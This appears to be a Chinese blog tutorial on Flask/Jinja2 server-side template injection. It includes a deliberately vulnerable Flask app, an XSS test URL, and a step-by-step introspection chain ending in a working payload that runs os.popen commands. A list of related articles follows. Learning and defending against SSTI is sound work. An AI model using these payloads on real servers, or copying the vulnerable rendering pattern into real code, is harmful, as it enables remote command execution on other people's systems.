【Flask模板注入】——概览

背景

Flask是python语言下的轻量级web应用框架,可以用来开发一些简单的网站。它使用Jinjia2渲染引擎(将html文件存放在templates文件夹中,当访问指定路由时,flask会渲染出相应的html页面)。

但是html文件中不一定都是html语言,Jinjia2引擎支持html文件中内嵌{{}}来使用特定的变量,或者使用{%%}来执行python语句。因此,就会导致模板注入SSTI(Server-Side Template Injection)。用户可以使用一些内置函数进行文件的读写或者远程命令执行。

实例

下面实现一个简单的flask搭建的web网页:

#coding=utf-8
from flask import render_template_string
from flask import render_template
from flask import Flask
from flask import request app=Flask(__name__) #创建flask类 @app.route('/',methods=["GET","POST"])#路由
def index():
s=request.args.get('id')
return render_template('index.html',s=s) if __name__ == '__main__':
app.run('127.0.0.1',port=8000)

/templates/index.html :

<h1>id:{{s}}</h1>

这时访问url并进行传参:

可以看到{{}}包裹的变量变成了输入的id值。

  • 尝试进行攻击

    http://127.0.0.1:8000/?id=%3Cscript%3Ealert(%27a%27)%3C/script%3E

    失败,因为现在的 Jinjia2 模板引擎一般默认对渲染的变量进行编码转义,因此我们不能直接操控模板的输出。

    如果要执行代码需要变成,让模板不进行转义:

    <h1>id:{{s|safe }}</h1>
  • 在render_template和render_template_string中,后者不会对输入的参数进行转义。但是在使用{{}}包裹变量时jinjia2模板引擎会自动对参数进行转义。使用格式化字符串%s时,就需要手动转义,因此会出现XSS漏洞。

    下面是一个格式化字符串%s的例子:

    #coding=utf-8
    from flask import render_template_string
    from flask import render_template
    from flask import Flask
    from flask import request app=Flask(__name__) #创建flask类 @app.route('/',methods=["GET","POST"])#路由
    def index():
    s=request.args.get('id')
    return render_template_string('<h1>id:%s</h1>'%s) if __name__ == '__main__':
    app.run('127.0.0.1',port=8000)

    这里的数据和代码就被混淆了,这时使用我们的payload就会被执行。

SSTI

首先要了解一下python中的一些魔术方法:

__class__ #是一个特殊属性而不是方法,其返回类型所属的对象,注意是类的一个对象
__mro__ #返回一个元组,元组中包含当前类以及所有父类的顺序,按照python解析的顺序排列,需要类来调用;
__base__ #返回对象所继承的基类,(python中每个类都有一个基类,即该类所继承的父类)
__subclasses__ #返回一个列表,包含了直接继承该类的子类;是一个方法
__init__ #初始化类时自动调用,可以包含要传进类中的参数
__globals__ #返回一个字典,包含了当前模块中定义的全局变量和函数
  • 实例

    同样使用上面的web网站:

    http://127.0.0.1:8000/?id={{''.__class__}}  #显示一个空字符串的类

    返回:

    尝试找到object类:

    http://127.0.0.1:8000/?id={{''.__class__.__mro__}}  #返回str类的基类
    
    输出:id:(<class 'str'>, <class 'object'>)

    找到object类下的子类:

    http://127.0.0.1:8000/?id={{''.__class__.__mro__[1].__subclasses__()}}  #返回str类的基类,subclasses是一个方法所以要加括号

    输出:

    寻找一下里面没有file类,所以不能实现文件读取,但是可以尝试命令执行。

    这就需要寻找eval函数,需要使用__global__魔术方法来查看所有object子类的全局变量字典。

  • 寻找eval函数

    从大佬博客里看到了这段代码,用来查看object所有子类的构造函数:

    for i in range(0,len(''.__class__.__mro__[1].__subclasses__())):
    print("%d"%i,end="")
    print(''.__class__.__mro__[1].__subclasses__()[i].__init__)

    输出中包含wrapper的类说明被装饰器包装了,这样我们无法直接使用__global__属性查看其使用的全局命名空间。我们需要找到没有被装饰器包裹的类。

    看看这些没有装饰器类的全局命名空间是什么样:

    print(''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__)

    可以看到是一堆字典,在其中第81个子类中的__builtions__模块中包含了eval函数。

    据此来构造payload:

    http://127.0.0.1:8000/?id={{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("systeminfo").read()')}}

    输出:

    id: 主机名: DESKTOP-OPT5ESM OS 名称: Microsoft Windows 11 家庭中文版 OS 版本: 10.0.22000..........

    成功输出了systeminfo。因此只要将管道函数popen()中换成我们想执行的命令即可。

总结

  • 漏洞出现原因:模板文件中使用了格式化字符串,导致我们可以直接操控模板的输出。
  • SSTI:通过一些魔术方法,根据类之间的继承关系,从已知类一直找到包含eval、os、file等可以利用函数的类。

参考链接

https://ibukifalling.com/2021/07/13/SSTIstudy/

https://www.freebuf.com/column/187845.html

【Flask模板注入】的更多相关文章

  1. Flask模板注入

    Flask模板注入 Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞). Flask案例 一个简单的Flask应用案例: from flask import Flask,render_te ...

  2. 关于flask的模板注入的学习

    flask模板注入的学习 关于flask模版注入,之前不太理解,看了很多文章才弄懂,主要原理就是渲染函数的参数用户可控就造成了模板注入 就会使用户构造恶意的代码进行逃逸从而进行攻击 flask模板渲染 ...

  3. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  4. Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...

  5. python 模板注入

    今天学习了python的模板注入,这里自己搭建环境测试以下,参考文章:http://www.freebuf.com/articles/web/136118.html web 程序包括两个文件: fla ...

  6. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  7. SSTI-服务端模板注入漏洞

      原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...

  8. SSTI-服务端模板注入

    SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...

  9. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  10. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

随机推荐

  1. golang 实现四层负载均衡

    大家好,我是蓝胖子,做开发的同学应该经常听到过负载均衡的概念,今天我们就来实现一个乞丐版的四层负载均衡,并用它对mysql进行负载均衡测试,通过本篇你可以了解到零拷贝的应用,四层负载均衡的本质以及实践 ...

  2. 使用numpy实现bert模型,使用hugging face 或pytorch训练模型,保存参数为numpy格式,然后使用numpy加载模型推理,可在树莓派上运行

    之前分别用numpy实现了mlp,cnn,lstm,这次搞一个大一点的模型bert,纯numpy实现,最重要的是可在树莓派上或其他不能安装pytorch的板子上运行,推理数据 本次模型是随便在hugg ...

  3. NodeJS使用npm安装vue脚手架

    开发环境准备:Windows10.Windows11 NodeJS,安装官网最新LTS版即可 下载地址:https://nodejs.org/安装一路下一步,默认即可 ================ ...

  4. Codeforces Round #771 (Div. 2) A-E

    A 代码 #include <bits/stdc++.h> using namespace std; using ll = long long; int p[507]; bool solv ...

  5. 永远拥抱开放生态 | Metaworld2.0能力发布

    ​ 回看过去的二十年,互联网从门户网站发布信息,用户只能获取阅读:到如今的人人生产内容,再借助各类平台设施上传投递给其他用户.这个过程中,内容生产力的分布从集中转为分散,恰似互联网从1.0走向2.0的 ...

  6. day-3 路由底层源码

    1. 定义路由本质 比如在url.py定义以下路由,浏览器中输入http://192.168.0.1:8000/user/2003-04-21可以访问 意味着此url http://192.168.0 ...

  7. 【NestJS系列】核心概念:Controller控制器

    前言 控制器主要是用来处理客户端传入的请求并向客户端返回响应. 它一般是用来做路由导航的,内部路由机制控制哪个控制器接收哪些请求. 路由 为了创建基本控制器,我们需要使用@Controller装饰器, ...

  8. Centos7 安装部署 Kubernetes(k8s) 高可用集群

    目录 一.系统环境 二.前言 三.Kubernetes(k8s)高可用简介 四.配置机器基本环境 五.部署haproxy负载均衡器 六.部署etcd集群 七.部署Kubernetes(k8s) mas ...

  9. TCP的Keep-Alive机制:链接存在但是没有数据传输,内核怎么处理

    服务端/客户端会定期发送探测报文来检测客户端的存活状态. 由三个内核参数控制: 首次发送探测报文时间:net.ipv4.tcp_keepalive_time有报文传输时重置 探测报文的发送间隔:net ...

  10. quarkus实战之七:使用配置

    欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 本篇概览 本文是<quarkus实战>系列 ...